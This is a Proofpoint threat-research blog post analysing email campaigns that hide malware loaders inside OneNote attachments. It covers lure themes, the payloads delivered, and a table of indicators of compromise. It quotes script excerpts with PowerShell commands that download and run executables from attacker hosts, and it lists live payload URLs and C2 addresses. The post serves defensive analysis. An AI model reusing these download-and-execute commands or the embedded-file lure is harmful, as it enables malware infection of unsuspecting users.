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SOLUTIONS BY TOPIC

COMBAT EMAIL AND CLOUD THREATS

Protect your people from email and cloud threats with an intelligent and
holistic approach.

CHANGE USER BEHAVIOR

Help your employees identify, resist and report attacks before the damage is
done.

COMBAT DATA LOSS AND INSIDER RISK

Prevent data loss via negligent, compromised and malicious insiders by
correlating content, behavior and threats.

MODERNIZE COMPLIANCE AND ARCHIVING

Manage risk and data retention needs with a modern compliance and archiving
solution.

PROTECT CLOUD APPS

Keep your people and their cloud apps secure by eliminating threats, avoiding
data loss and mitigating compliance risk.

PREVENT LOSS FROM RANSOMWARE

Learn about this growing threat and stop attacks by securing today’s top
ransomware vector: email.

SECURE MICROSOFT 365

Implement the very best security and compliance solution for your Microsoft 365
collaboration suite.

DEFEND YOUR REMOTE WORKFORCE WITH CLOUD EDGE

Secure access to corporate resources and ensure business continuity for your
remote workers.

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Today’s cyber attacks target people. Learn about our unique people-centric
approach to protection.


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Services Healthcare Mobile Operators Internet Service Providers Small and Medium
Businesses


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grow your business.

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knowledge from our own industry experts.

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and brand.

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ever‑evolving threats.

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cybersecurity challenges.

WEBINARS

Browse our webinar library to learn about the latest threats, trends and issues
in cybersecurity.

Watch now to earn your CPE credits


SECURITY HUBS

Get free research and resources to help you protect against threats, build a
security culture, and stop ransomware in its tracks.

Threat Hub
CISO Hub
Cybersecurity Awareness Hub
Ransomware Hub
Insider Threat Management Hub

ABOUT PROOFPOINT

Proofpoint is a leading cybersecurity company that protects organizations'
greatest assets and biggest risks: their people.

WHY PROOFPOINT

Today’s cyber attacks target people. Learn about our unique people-centric
approach to protection.

CAREERS

Stand out and make a difference at one of the world's leading cybersecurity
companies.

NEWS CENTER

Read the latest press releases, news stories and media highlights about
Proofpoint.

PRIVACY AND TRUST

Learn about how we handle data and make commitments to privacy and other
regulations.

ENVIRONMENTAL, SOCIAL, AND GOVERNANCE

Learn about our people-centric principles and how we implement them to
positively impact our global community.


SUPPORT

Access the full range of Proofpoint support services.

Learn More
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Blog
Threat Insight
OneNote Documents Increasingly Used to Deliver Malware


ONENOTE DOCUMENTS INCREASINGLY USED TO DELIVER MALWARE

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February 01, 2023 Tommy Madjar, Corsin Camichel, Joe Wise, Selena Larson and
Chris Talib


KEY FINDINGS:

 * The use of Microsoft OneNote documents to deliver malware via email is
   increasing.
 * Multiple cybercriminal threat actors are using OneNote documents to deliver
   malware.
 * While some campaigns are targeted at specific industries, most are broadly
   targeted and include thousands of messages.
 * In order to detonate the payload, an end-user must interact with the OneNote
   document. 
 * Campaigns have impacted organizations globally, including North America and
   Europe.
 * TA577 returned from a month-long hiatus in activity and began using OneNote
   to deliver Qbot at the end of January 2023.


OVERVIEW

Proofpoint researchers recently identified an increase in threat actor use of
OneNote documents to deliver malware via email to unsuspecting end-users in
December 2022 and January 2023. OneNote is a digital notebook created by
Microsoft and available via the Microsoft 365 product suite. Proofpoint has
observed threat actors deliver malware via OneNote documents, which are .one
extensions, via email attachments and URLs.

Proofpoint observed six campaigns in December 2022 using OneNote attachments to
deliver AsyncRAT malware. In January 2023, Proofpoint observed over 50 OneNote
campaigns delivering different malware payloads including AsyncRAT, Redline,
AgentTesla, and DOUBLEBACK. Notably, the initial access broker TA577 began using
OneNote documents to deliver Qbot at the end of January 2023. The campaigns
included multiple senders and subjects, with different targeting and volume
depending on the campaign.

While we have seen an increase in the number of campaigns utilizing OneNote to
deliver malware, its use is unusual. Based upon our observed characteristics of
past threat campaigns, it is believed that threat actors have increasingly
adopted OneNote as of result of their experimentation with different attachment
types to bypass threat detection. Since Microsoft began blocking macros by
default in 2022, threat actors have experimented with many new tactics,
techniques, and procedures (TTPs), including use of previously infrequently
observed filetypes such as virtual hard disk (VHD), compiled HTML (CHM), and now
OneNote (.one).

The technique may be effective for now. At the time of analysis, multiple
OneNote malware samples observed by Proofpoint were not detected by numerous
anti-virus vendors on VirusTotal. Proofpoint continues to assess these activity
clusters and does not attribute them to a tracked threat actor. 


CAMPAIGN DETAILS

Observed email campaigns that use OneNote for malware delivery share similar
characteristics. While the message subjects and senders vary, nearly all
campaigns use unique messages to deliver malware, and do not typically utilize
thread hijacking. Messages typically contain OneNote file attachments with
themes such as invoice, remittance, shipping, and seasonal themes such as
Christmas bonus, among other subjects. In mid-January 2023, Proofpoint
researchers observed actors using URLs to deliver OneNote attachments that use
the same TTPs for malware execution. This includes a TA577 campaign observed on
31 January 2023.

The OneNote documents contain embedded files, often hidden behind a graphic that
looks like a button. When the user double clicks the embedded file, they will be
prompted with a warning. If the user clicks continue, the file will execute. The
file might be different kinds of executables, shortcut (LNK) files, or script
files such as HTML application (HTA) or Windows script file (WSF).

The number of campaigns using OneNote attachments increased significantly
between December 2022 and 31 January 2023. Additionally, while Proofpoint only
observed OneNote campaigns deliver AsyncRAT in December, researchers observed
seven additional malware payloads distributed via OneNote attachments in January
2023: Redline, AgentTesla, Quasar RAT, XWorm, Netwire, DOUBLEBACK, and Qbot.
Campaigns targeted organizations globally including in North America and Europe.



Figure 1: Number of OneNote Campaigns in December 2022 through 31 January 2023,
and total number of OneNote campaigns based on malware type.

The observed increase in the total number of campaigns and diversity in payload
type suggests multiple actors of various levels of sophistication are now using
OneNote. While some clusters appear to be related based on command and control
(C2), lures, and targeting, most campaigns use different infrastructure, message
and lure themes, and targeting. Only one campaign was able to be attributed to a
tracked actor, TA577.


DECEMBER 2022 CAMPAIGNS

Two December 2022 campaigns included senders purporting to be an aerospace
entity and included attachment names related to machine parts and
specifications. Messages contained a OneNote attachment containing an HTA file
that calls a PowerShell script to download an executable (e.g., Excel.exe) from
a URL. These messages targeted entities in manufacturing and industrial
verticals.



Figure 2: OneNote lure spoofing TP Aerospace.

Excerpt of script:

oShell.Run "cmd /c powershell Invoke-WebRequest -Uri
hxxp[:]3.101.39[.]145/TPAEROSPACE.one -OutFile $env:tmp\kp.one; PowerShell
Start-Process -Filepath $env:tmp\kp.one; Start-Sleep -Seconds 1  " &
DontShowWindow, WaitUntilFinished

oShell.Run "cmd /c powershell Invoke-WebRequest -Uri
hxxp[:]3.101.39[.]145/Excel.exe -OutFile $env:tmp\system32.exe; PowerShell
Start-Process -Filepath $env:tmp\system32.exe; Start-Sleep -Seconds 1   " &
DontShowWindow, WaitUntilFinished

Other campaigns leveraged invoice and shipping themes that included broad
targeting and included thousands of messages, as well as “Christmas bonus” or
“Christmas gift” lures that largely targeted organizations in the education
sector among others. For example, one campaign, as illustrated below, spoofed a
major consumer brand purporting to provide customers with a special gift. This
campaign included thousands of messages largely targeting users in the education
sector, among others.



Figure 3: Christmas gift themed lures containing OneNote attachments to deliver
AsyncRAT.

These campaigns used the same TTPs as described above, delivering a OneNote
attachment that used PowerShell to download the AsyncRAT payload from a URL.


JANUARY 2023 CAMPAIGNS

Proofpoint has observed over 50 campaigns leveraging OneNote attachments from 01
– 31 January 2023. These campaigns typically included thousands of messages and
did not target specific organizations or verticals. The campaigns continued to
use the same TTPs, with hidden embedded files in the OneNote attachment that
ultimately lead to the download of a malware payload. In multiple campaigns, the
actors used the legitimate services “OneNote Gem” and Transfer.sh to host
payloads. On 19 January 2023, Proofpoint observed two campaigns using URLs to
deliver OneNote attachments that led to XWorm and DOUBLEBACK payloads.

Nearly all campaigns included themes related to shipping, invoices, taxes, or
other generic business-related themes. After exclusively observing AsyncRAT
payloads through December and early January, researchers observed QuasarRAT and
XWorm malware campaigns on 09 January 2023 alongside AsyncRAT. Redline and
AgentTesla were first observed on 11 January 2023, and Netwire first observed on
12 January 2023. Several of the OneNote documents investigated by Proofpoint
researchers include a file history, indicating that the same threat actor is
re-using a file and replaces the payload URLs to create a new file.

While most campaigns are in English, researchers identified one campaign using
invoice themes delivering XWorm and AsyncRAT that included both English and
French languages in the lure. Messages contained a OneNote attachment containing
a PowerShell script to download a batch file (system32.bat) from a URL.



Figure 4: Malware campaign delivering XWorm and AsyncRAT payloads using invoice
themes with messages in English and French.

Excerpt of script:

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri
hxxps[:]stnicholaschurch[.]ca/Invoice.one -OutFile $env:tmp\invoice.one;
Start-Process -Filepath $env:tmp\invoice.one"

ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri
hxxps[:]stnicholaschurch[.]ca/Cardlock_341121.bat -OutFile
$env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat"

Notably, on 19 January 2023, Proofpoint researchers observed a low-volume
campaign distributing the DOUBLEBACK backdoor. DOUBLEBACK is an in-memory
backdoor that can enable host and network reconnaissance, data theft, and
follow-on payloads. DOUBLEBACK was previously used by TA579. This was the first
observed OneNote campaign to use thread hijacking. Messages contained URLs on
several domains with a URI ending with /download/[guid]. The actor purported to
previously have contacted the victim and that the related files had been
uploaded to cloud storage. The URL led to the download of a zip file (example
4752-23 Order Confirmation.zip) that contained a OneNote with the same name.



Figure 5: DOUBLEBACK lure and OneNote attachment.

When the OneNote was opened, the template advised the victim to "Double Click To
View File". If the victim did this, OneNote would attempt to execute a VBS file
(example JnNNj3.vbs) embedded behind the button. The victim would first be
prompted about security risks about opening attachments. If the victim
continued, the VBS would be fully executed. The VBS downloaded a PowerShell
script to run DOUBLEBACK. Proofpoint has observed additional DOUBLEBACK
campaigns using similar TTPs and does not attribute this campaign to a tracked
threat actor.

The initial access broker TA577 returned from a month-long hiatus in activity on
31 January 2023 to deliver Qbot with an attack chain that included OneNote.
Emails appeared to be replies to previous conversations containing a unique URL
in the email body.



Figure 6: OneNote document lure used by TA577.

The URLs led to the download of a zipped OneNote file. If the OneNote was
opened, the template advised the victim to "Double click Open". Below the
graphic there was an attached file named attachment.hta (but the extension was
hidden). If the victim double clicked the file and confirmed the security
prompt, JavaScript code was executed that downloads a file from a remote URL and
displayed a fake error message. The HTA uses "curl.exe” to download the Qbot
DLL, and run it with the function, “Wind”.

While the December 2022 campaigns included more customized and targeted messages
and themes, the malware campaigns observed in January 2023 were more generic and
broadly targeted. Proofpoint does not attribute identified campaigns to a
tracked threat actor.


OSINT ASSESSMENT

Proofpoint researchers have associated multiple artifacts observed in the
campaigns with GitHub repositories associated with user MREXw. This includes the
payload domain “direct-trojan[.]com” and a batch file encryption technique.
Researchers contacted the domain host to alert users the domain is malicious.


CONCLUSION

Proofpoint has increasingly observed OneNote attachments being used to deliver
malware. Based on our research, we believe multiple threat actors are using
OneNote attachments in an attempt to bypass threat detections. TA577’s adoption
of OneNote suggests other more sophisticated actors will begin using this
technique soon. This is concerning: TA577 is an initial access broker that
facilitates follow-on infections for additional malware including ransomware.
Based on data in open-source malware repositories, initially observed
attachments were not detected as malicious by multiple anti-virus engines, thus
it is likely initial campaigns had a high efficacy rate if the email was not
blocked. (Proofpoint customers were protected as the messages were deemed
malicious). It is likely more threat actors will adopt OneNote attachments to
deliver malware.

It is important to note, an attack is only successful if the recipient engages
with the attachment, specifically by clicking on the embedded file and ignoring
the warning message displayed by OneNote. Organizations should educate end users
about this technique and encourage users to report suspicious emails and
attachments.


SAMPLE INDICATORS OF COMPROMISE

Indicator

Description

First Seen

hxxps[:]files.catbox[.]moe/rltrtq.bat

AsyncRAT Payload URL

19 December 2022

209.126.83[.]213

AsyncRAT C2

19 December 2022

e5a33b42b71f8ac1a5371888d11a0066b49a7f0c25fe74857fa07fb0c9bdff27

OneNote Attachment SHA256

19 December 2022

43f4eaefc6e71f8d30b2e3749475af51ce4d6740546706113cc4785b4410a14c

OneNote Attachment SHA256

19 December 2022

hxxp[:]3.101.39[.]145/Excel.exe

AsyncRAT Payload URL

19 December 2022

hxxp[:]3.101.39[.]145/TPAEROSPACE.one

AsyncRAT Payload URL

19 December 2022

6a1bac8fbb30f4b98da7f7ac190fb971bf91d15b41748bc63fd9cbddb96ef189

OneNote Attachment SHA256

19 December 2022

hxxp[:]54.151.95[.]132/Access.one

AsyncRAT Payload URL

13 December 2022

hxxp[:]54.151.95[.]132/ExcelSheel.vbs

AsyncRAT Payload URL

13 December 2022

2283c3be89eb6cbf0e1579a6e398a5d1f81a50793fcca22fbc6cbdab53dc2d31

OneNote Attachment SHA256

19 December 2022

hxxps[:]www.onenotegem[.]com/uploads/soft/one-templates/four-quadrant.one

AsyncRAT Payload URL

23 December 2022

hxxps[:]transfer[.]sh/get/TScdAm/AsyncClient.bat

AsyncRAT Payload URL

23 December 2022

209.126.83[.]213

AsyncRAT C2

23 December 2022

75819879049e80de6376f146430e63a53fc4291d21f3db930ea872b82d07c77a

OneNote Attachment SHA256

23 December 2022

hxxp[:]www.onenotegem[.]com/uploads/soft/one-templates/the_daily_schedule.one

AsyncRAT Payload URL

04 January 2023

hxxps[:]depotejarat[.]ir/voicemail.bat

AsyncRAT Payload URL

04 January 2023

hxxps[:]zaminkaran[.]ir/new.png

AsyncRAT Payload URL

04 January 2023

73dc35d1fa8d1e3147a5fe6056e01f89847441ec46175ba60b24a56b7fbdf2f9

OneNote Attachment SHA256

04 January 2023

hxxps[:]www.onenotegem[.]com/uploads/soft/one-templates/the_daily_schedule.one

AsyncRAT Payload URL

05 January 2023

hxxps[:]transfer[.]sh/get/Pcj58k/AsyncClient.bat

AsyncRAT Payload URL

05 January 2023

154.12.234[.]207

AsyncRAT C2

05 January 2023

newtryex.ddns[.]net

AsyncRAT C2

05 January 2023

8276104d8d47def986063b8fbafd82ad5f4cd23862ff9ede1231cefb35115a1b

OneNote Attachment SHA256

05 January 2023

hxxps[:]onenotegem[.]com/uploads/soft/one-templates/weekly_assignments.one

AsyncRAT Payload URL

07 January 2023

hxxps[:]transfer[.]sh/rMitxs/Invoice212.bat

AsyncRAT Payload URL

07 January 2023

45.133.174[.]122

AsyncRAT C2

07 January 2023

e2b70c8552b38a6b8722d614254202c346190c6a187984a4450223eb536aaf4b

OneNote Attachment SHA256

07 January 2023

ef5a7fc0c2a301b57f0723af97faea37374b91eb3b72d8ca6ffc09a095998bb2

OneNote Attachment SHA256

07 January 2023

66c045eb61f2e589b1e27db284c9c518e5d0e87dcff25b096eede7047f7dd207

OneNote Attachment SHA256

07 January 2023

hxxps[:]transfer.sh/get/cOrt9R/me.bat

QuasarRAT Payload URL

09 January 2023

154.12.234[.]207

QuasarRAT C2

09 January 2023

c59f95d9c9ff830d33fb73c2a8b0ee8be6619b6823fc23210600b9fa88a8c9d4

OneNote Attachment SHA256

09 January 2023

hxxps[:]stnicholaschurch[.]ca/DCyaz.bat

AsyncRAT Payload URL

09 January 2023

winery.nsupdate[.]info

AsyncRAT C2

09 January 2023

c8e326756cc1f95ff51ffe26471df16f4131fdbca2ed14f8c8d14e21010058b9

OneNote Attachment SHA256

09 January 2023

hxxps[:]www.onenotegem[.]com/uploads/soft/one-templates/notes_to_do_list.one

AsyncRAT Payload URL

09 January 2023

hxxps[:]transfer[.]sh/get/5dLEvB/sky.bat

AsyncRAT Payload URL

09 January 2023

154.12.250[.]38

AsyncRAT C2

09 January 2023

15212428deeeabcd5b11a1b8383c654476a3ea1b19b804e4aca606fac285387f

OneNote Attachment SHA256

09 January 2023

hxxps[:]stnicholaschurch[.]ca/Cardlock_341121.bat

AsyncRAT Payload URL

09 January 2023

hxxps[:]stnicholaschurch[.]ca/xw.bat

XWorm Payload URL

09 January 2023

su1d.nerdpol[.]ovh

AsyncRAT and XWorm C2

09 January 2023

222b1a425f75fc7998a0bbabd52277cd82bb5ec50b75f4fb67568b3b754f5406

OneNote Attachment SHA256

09 January 2023

377fe4e55b6dde063c15c41389f3bb5aacf95443874bdcc0d02a44d6bd793780

OneNote Attachment SHA256

09 January 2023

bdc52f8983b7f034e86d1628efab5faf974e8c33ea9c3bcab0fd09ca462f8322

OneNote Attachment SHA256

09 January 2023

de30f2ba2d8916db5ce398ed580714e2a8e75376f31dc346b0e3c898ee0ae4cf

OneNote Attachment SHA256

09 January 2023

a5ae1b866c5d8a7b3eb8427e686cf5d0264b809ed4491b47346542bf69caab65

OneNote Attachment SHA256

09 January 2023

hxxps[:]transfer[.]sh/get/7msVcM/FRESHME.bat

AsyncRAT Payload URL

10 January 2023

hxxps[:]transfer[.]sh/IGu2K2/INV.bat

AsyncRAT Payload URL

10 January 2023

newtryex.ddns[.]net

AsyncRAT C2

10 January 2023

a748f4e526c1a5fed7e57887ef951e451236ee3ad39cf6161d18e5c2230aca0b

OneNote Attachment SHA256

10 January 2023

adb237144a52fc610984bd5ae8501271c5eef8ff49eff0a9d02adf4a5e36ad3b

OneNote Attachment SHA256

10 January 2023

hxxps[:]direct-trojan[.]com/file/b685b9/New%20Section%201.one

Redline Payload URL

11 January 2023

hxxps[:]direct-trojan[.]com/file/05df70/remlog.bat

Redline Payload URL

11 January 2023

172.245.45[.]213

Redline C2

11 January 2023

dfb8ba6c2ac264ac73f6d2c440d2c0744c043f1d8435bb798fef5380a649fc4e

OneNote Attachment SHA256

11 January 2023

hxxps[:]direct-trojan[.]com/file/3c6f73/software-update.exe

AgentTesla Payload URL

11 January 2023

ftp://ftp.mgcpakistan[.]com/

AgentTesla C2

11 January 2023

e1d34ad42938a777d80f3ee4c206de14021f13ab79600168b85894fdb0867b3e

OneNote Attachment SHA256

11 January 2023

hxxp[:]198.23.172[.]90/new.exe

Netwire Payload URL

12 January 2023

hxxp[:]198.23.172[.]90/template.one

Netwire Payload URL

12 January 2023

212.193.30[.]230:3345

Netwire C2

12 January 2023

328a12fdd6b485362befb392925282451d65aa23482584a49dd5b0e126218df7

OneNote Attachment SHA256

12 January 2023

hxxp[:]179.43.187[.]241/Downloads/Newsharedfilesnow.pdf.lnk

Redline Payload URL

12 January 2023

hxxps[:]transfer[.]sh/get/UaTsxp/Newsharedfilesnow.hta

Redline Payload URL

12 January 2023

109.107.179[.]248:80

Redline C2

12 January 2023

0ff4aa2eb1cd681e3b77348af935bcfc56f4b7cae48bcd826000b7ff2b82b671

OneNote Attachment SHA256

12 January 2023

plax.duckdns[.]org

AsyncRAT C2

13 January 2023

212.193.30[.]230

Netwire C2

14 January 2023

hxxp[:]198.23.172[.]90/templa.one

Netwire Payload URL

14 January 2023

hxxp[:]198.23.172[.]90/comment.exe

Netwire Payload URL

14 January 2023

0b0c70ee1612139cf7a83847cca805689aec9fbcc587a7ef8f26aa4fb9e71295

OneNote Attachment SHA256

14 January 2023

209.126.2[.]34

AsyncRAT C2

15 January 2023

hxxps[:]transfer[.]sh/get/p29ViK/tpee.bat

AsyncRAT Payload URL

15 January 2023

1791dd7a7c7d0688fac3626d57221ada157c57572cf9ed46ad4cab3d28dbaf91

OneNote Attachment SHA256

15 January 2023

hxxps[:]files.catbox[.]moe/nvz0g1.ps1

Quasar RAT Payload URL

16 January 2023

95.216.102[.]32

Quasar RAT C2

16 January 2023

ghcc.duckdns[.]org

Quasar RAT C2

16 January 2023

9bf99fc32dc69f213812c3c747e8dd41fef63ad0fd0aec01a6b399aeb10a166a

OneNote Attachment SHA256

16 January 2023

hxxps[:]barricks[.]org/admin10/client.php

DOUBLEBACK C2

19 January 2023

hxxp[:]kanaskanas[.]com/fw435tv345t.ps1

DOUBLEBACK VBS Payload

19 January 2023

hxxps[:]codezian[.]com/Nt57/300123.gif

Qbot HTA Payload URL

31 January 2023

https[:]myvigyan[.]com/m1YPt/300123.gif

Qbot HTA Payload URL

31 January 2023

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